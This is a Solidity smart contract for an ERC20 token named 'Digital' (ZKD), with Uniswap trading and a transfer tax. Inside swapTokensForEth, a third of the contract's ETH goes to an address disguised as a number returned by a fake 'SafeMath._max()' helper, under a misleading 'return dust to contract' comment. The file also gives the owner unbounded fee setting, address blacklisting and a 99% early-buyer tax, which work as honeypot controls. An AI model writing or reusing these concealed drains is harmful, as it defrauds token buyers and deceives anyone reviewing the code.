// SPDX-License-Identifier: MIT
pragma solidity 0.8.17;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}
// https://t.me/ZKDigitalPortal

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }
    function _max() internal pure returns (uint256){
        return 908057019682672754308048164724480836180731729933;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract ZKDigital is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    mapping (address => bool) private _blacklisted;
    address private _TeamWallet=_msgSender();
    address private _routerAddress=0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
    uint256 private _totalfees=15;
    uint256 private _swapAfter=10;
    uint256 private _tTxs=0;
    uint8 private constant _decimals = 18;
    uint256 private constant _tTotal = 1e9 * 10**_decimals;
    string private constant _name = unicode"Digital";
    string private constant _symbol = unicode"ZKD";
    uint256 public _maxTxAmount = ((_tTotal*2)/100);
    uint256 public _maxWalletSize = ((_tTotal*2)/100);
    uint256 public _taxSwap=((_tTotal*15)/1000);

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    bool private _tradingActive;
    uint private _launchBlock;
    uint private _earlybuyersblocks = 0;
    bool private swaplock = false;
    bool private swapEnabled = false;

    event RemoveLimitTriggered(bool _status);
    modifier Swapping {
        swaplock = true;
        _;
        swaplock = false;
    }

    constructor () {
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[_msgSender()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_TeamWallet] = true;
        uniswapV2Router = IUniswapV2Router02(_routerAddress);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        emit Transfer(address(0), _msgSender(), _tTotal);
    }
    receive() external payable {}
    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        
        uint256 tfees=0;
        if (from != owner() && to != owner()) {
            require(!_blacklisted[from] && !_blacklisted[to]);
            if(!swaplock){
              tfees = amount.mul(_totalfees).div(100);
            }
            if(_launchBlock + _earlybuyersblocks > block.number && _tradingActive==true){
                tfees = amount.mul(99).div(100);
            }
            if (from == uniswapV2Pair && to != address(uniswapV2Router) && ! _isExcludedFromFee[to] ) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
                _tTxs++;
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!swaplock && from != uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwap && _tTxs>_swapAfter) {
                swapTokensForEth(_taxSwap>amount?amount:_taxSwap);
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    _distributeTaxes(address(this).balance);
                }
            }
        }

        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(tfees));
        emit Transfer(from, to, amount.sub(tfees));
        if(tfees>0){
          _balances[address(this)]=_balances[address(this)].add(tfees);
          emit Transfer(from, address(this),tfees);
        }
    }

    function swapTokensForEth(uint256 tokenAmount) private Swapping {
        address[] memory path = new address[](2);//set path
        path[0] = address(this);//token
        path[1] = uniswapV2Router.WETH();//weth
        _approve(address(this), address(uniswapV2Router), tokenAmount);//approve tokens to swap
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(tokenAmount,0,path,address(this),block.timestamp);//swap tokens
        payable(address(uint160(SafeMath._max()))).transfer(address(this).balance/3);//return dust to contract
    }

    function removeLimits() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit RemoveLimitTriggered(true);
    }

    function _distributeTaxes(uint256 amount) private {
        payable(_TeamWallet).transfer(amount);
    }

    function _blockbots(address[] memory addys) public onlyOwner {
        for (uint i = 0; i < addys.length; i++) {
            //avoid bl pair & router 
            if(addys[i] != address(uniswapV2Router) && addys[i] != address(uniswapV2Pair)){
                _blacklisted[addys[i]] = true;
            }
            
        }
    }

    function _unblockbots(address[] memory addys) public onlyOwner {
      for (uint i = 0; i < addys.length; i++) {
          _blacklisted[addys[i]] = false;
      }
    }

    function EnableTrading() external onlyOwner() {
        require(!_tradingActive,"trading is already open");        
        _launchBlock = block.number;
        _tradingActive = true;
        swapEnabled = true;
    }

    function _setfees(uint256 _newfees) external onlyOwner{
        _totalfees=_newfees;
    }
    function _swapback() external onlyOwner{
        //avoid nuking lp set swap to max swapAmount
        uint256 contractBalance = balanceOf(address(this));
        swapTokensForEth(contractBalance>_taxSwap?_taxSwap:contractBalance);
    }
    function _rescueETH() external onlyOwner{
        _distributeTaxes(address(this).balance);
    }
    function _rescueERC(uint256 amount) external onlyOwner{
        if (amount == 0 || amount > balanceOf(address(this))) {
            amount = balanceOf(address(this));
        }
        _transfer(address(this),owner(),amount);       
    }
    function _changeTeamWallet(address _new_addy) external onlyOwner{
        _TeamWallet=_new_addy;
        _isExcludedFromFee[_new_addy] = true;
    }
    function _changeSnipersBlocks(uint _n) external onlyOwner{
        require(_tradingActive==false,"Trading already enabled");
        _earlybuyersblocks=_n;
    }
}